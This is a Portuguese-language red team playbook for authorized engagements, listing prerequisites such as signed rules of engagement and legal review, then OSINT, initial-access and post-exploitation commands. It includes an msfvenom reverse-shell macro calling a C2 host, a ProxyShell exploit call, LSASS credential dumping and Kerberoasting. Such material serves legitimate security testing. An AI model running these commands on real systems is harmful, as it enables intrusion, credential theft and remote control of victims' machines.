Realizando Engajamento Completo de Red Team

Visão Geral

Um engajamento completo de red team simula o comportamento de um adversário do mundo real em todas as fases da cadeia de ataque cibernético — desde a reconhecimento inicial até a exfiltração de dados — para avaliar as capacidades de detecção, prevenção e resposta de uma organização. Ao contrário dos testes de penetração, as operações de red team priorizam discrição, persistência e cenários baseados em objetivos que imitam ameaças persistentes avançadas (APTs).

Quando Usar

• Ao realizar avaliações de segurança que envolvem um engajamento completo de red team
• Ao seguir procedimentos de resposta a incidentes para eventos de segurança relacionados
• Ao realizar testes de segurança ou atividades de auditoria agendadas
• Ao validar controles de segurança por meio de testes práticos

Pré-requisitos

• Autorização por escrito (documento Regras de Engajamento) assinada pela liderança executiva
• Escopo definido, incluindo sistemas dentro e fora do escopo, contatos de escalonamento e procedimentos de parada de emergência
• Inteligência de ameaças sobre grupos de adversários relevantes (por exemplo, APT29, FIN7, Lazarus Group)
• Infraestrutura de red team: servidores C2, redirecionadores, domínios de phishing, ambiente de desenvolvimento de payloads
• Revisão legal confirmando a conformidade com o Computer Fraud and Abuse Act (CFAA) e leis locais

Fases do Engajamento

Fase 1: Planejamento e Modelagem de Ameaças

Mapeie o engajamento para táticas e técnicas específicas do MITRE ATT&CK com base no perfil de ameaça:

Fase 2: Reconhecimento (OSINT)

# Passive DNS enumeration
amass enum -passive -d target.com -o amass_passive.txt

# Certificate transparency log search
python3 -c "
import requests
url = 'https://crt.sh/?q=%.target.com&output=json'
r = requests.get(url)
for cert in r.json():
    print(cert['name_value'])
" | sort -u > subdomains.txt

# LinkedIn employee enumeration
theHarvester -d target.com -b linkedin -l 500 -f harvest_results

# Technology fingerprinting
whatweb -v target.com --log-json=whatweb.json

# Breach data credential search (authorized)
h8mail -t target.com -o h8mail_results.csv

Fase 3: Acesso Inicial

Vetores comuns de acesso inicial para engajamentos de red team:

Spearphishing (T1566.001):

# Generate payload with macro
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=c2.redteam.local LPORT=443 -f vba -o macro.vba

# Set up GoPhish campaign
# Configure SMTP profile, email template with pretexted lure, and landing page
gophish --config config.json

Exploração de Serviço Externo (T1190):

# Scan for vulnerable services
nmap -sV -sC --script vuln -p 80,443,8080,8443 target.com -oA vuln_scan

# Exploit known CVE (example: ProxyShell CVE-2021-34473)
python3 proxyshell_exploit.py -t mail.target.com -e attacker@target.com

Fase 4: Pós-Exploração e Movimentação Lateral

# Consciência situacional (T1082, T1016)
whoami /all
systeminfo
ipconfig /all
net group "Domain Admins" /domain
nltest /dclist:target.com

# Coleta de credenciais do LSASS (T1003.001)
# Usando módulo integrado do Havoc C2
dotnet inline-execute SafetyKatz.exe sekurlsa::logonpasswords

# Kerberoasting (T1558.003)
Rubeus.exe kerberoast /outfile:kerberoast_hashes.txt

# Movimentação lateral via WMI (T1047)

…